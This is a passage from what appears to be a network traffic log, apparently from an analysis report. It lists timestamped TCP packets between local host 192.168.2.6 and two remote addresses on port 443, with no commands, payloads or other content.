| Jan 10, 2025 15:17:26.989492893 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.992022991 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.992115974 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.993700027 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.993716955 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.994561911 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.994641066 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.994920015 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:27.035332918 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:27.384911060 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:27.385013103 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:27.385066986 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:27.385113001 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:27.385153055 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:27.385176897 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:27.385189056 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:27.385224104 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:27.406395912 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:27.406435966 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:27.406526089 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:27.406722069 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:27.406728983 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.064502001 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.064660072 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.065080881 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.065085888 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.065234900 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.065238953 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.546331882 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.546394110 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.546432972 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.546442986 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.546456099 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.546492100 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.546505928 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.546538115 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.547280073 CET | 50008 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:28.547291994 CET | 443 | 50008 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.683538914 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:28.683579922 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:28.683674097 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:28.683943033 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:28.683955908 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.403286934 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.403436899 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.403954983 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.403963089 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.404110909 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.404115915 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.791019917 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.792385101 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.792396069 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.792435884 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.792442083 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.792454958 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.792503119 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.792570114 CET | 50009 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:29.792583942 CET | 443 | 50009 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.816310883 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:29.816353083 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:29.819376945 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:29.819591045 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:29.819598913 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.445763111 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.445892096 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.446388960 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.446393967 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.446552038 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.446556091 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.899241924 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.899286032 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.899353027 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.899368048 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.899379969 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.899427891 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.899677038 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.899724007 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.899738073 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.899779081 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.900110006 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.900125027 CET | 443 | 50010 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:30.900135994 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:30.900177002 CET | 50010 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:31.025593996 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:31.025677919 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:31.025785923 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:31.026041985 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:31.026071072 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:31.688935041 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:31.689009905 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:31.689507008 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:31.689536095 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:31.689676046 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:31.689688921 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.077662945 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.077848911 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:32.077913046 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.077994108 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:32.078022957 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:32.078068018 CET | 443 | 50012 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.078139067 CET | 50012 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:32.091047049 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:32.091099024 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.091262102 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:32.091506958 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:32.091520071 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.729491949 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.729691982 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:32.730345964 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:32.730365038 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:32.730499983 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:32.730509043 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:33.168478966 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:33.168562889 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:33.168633938 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:33.168710947 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:33.168776989 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:33.169763088 CET | 50013 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:33.169796944 CET | 443 | 50013 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:33.291450977 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:33.291560888 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:33.291702986 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:33.291930914 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:33.291965008 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.008045912 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.008183002 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.008902073 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.008969069 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.011902094 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.011908054 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.012185097 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.012254000 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.012609005 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.055334091 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.391892910 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.392039061 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.392075062 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.392138958 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.392251968 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.392317057 CET | 443 | 50015 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.392385006 CET | 50015 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:34.412106991 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:34.412158012 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:34.412240982 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:34.412530899 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:34.412545919 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.087389946 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.087471962 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.087860107 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.087869883 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.088015079 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.088021040 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.591392040 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.591474056 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.591507912 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.591521978 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.591536045 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.591540098 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.591583014 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.592226028 CET | 50016 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:35.592240095 CET | 443 | 50016 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.713152885 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:35.713222980 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:35.713361025 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:35.713609934 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:35.713619947 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.345864058 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.345972061 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.346688032 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.346754074 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.348362923 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.348375082 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.348651886 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.348699093 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.349014044 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.391336918 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.738887072 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.738984108 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.738995075 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.739034891 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.739099979 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.739120960 CET | 443 | 50017 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.739168882 CET | 50017 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:36.749818087 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:36.749861002 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:36.749926090 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:36.750129938 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:36.750138998 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.397087097 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.397162914 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.397833109 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.397861004 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.398010015 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.398021936 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.843277931 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.843328953 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.843350887 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.843381882 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.843398094 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.843424082 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.843689919 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.843735933 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.843738079 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.843780041 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.844459057 CET | 50018 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:37.844475985 CET | 443 | 50018 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.970102072 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:37.970156908 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:37.970207930 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:37.970698118 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:37.970706940 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:38.628833055 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:38.628926992 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:38.629641056 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:38.629703045 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:38.631270885 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:38.631277084 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:38.631513119 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:38.631556034 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:38.631908894 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:38.675326109 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.056272984 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.056341887 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:39.056997061 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.057039976 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:39.057051897 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.057096004 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:39.057698965 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:39.057712078 CET | 443 | 50019 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.057733059 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:39.057764053 CET | 50019 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:39.077430010 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:39.077471018 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.077545881 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:39.077841997 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:39.077852964 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.725483894 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.725553989 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:39.726044893 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:39.726052046 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:39.726202011 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:39.726207018 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.204626083 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.204689980 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.204751015 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.204794884 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:40.204834938 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:40.205446005 CET | 50020 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:40.205463886 CET | 443 | 50020 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.330369949 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:40.330416918 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.330492020 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:40.330811977 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:40.330823898 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.983393908 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.983484030 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:40.984002113 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:40.984010935 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:40.984172106 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:40.984177113 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:41.472321033 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:41.472404957 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:41.472428083 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:41.472476006 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:41.472569942 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:41.472618103 CET | 443 | 50021 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:41.472671986 CET | 50021 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:41.483591080 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:41.483663082 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:41.483748913 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:41.483978033 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:41.484009027 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.116806030 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.116930962 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:42.117492914 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:42.117502928 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.117674112 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
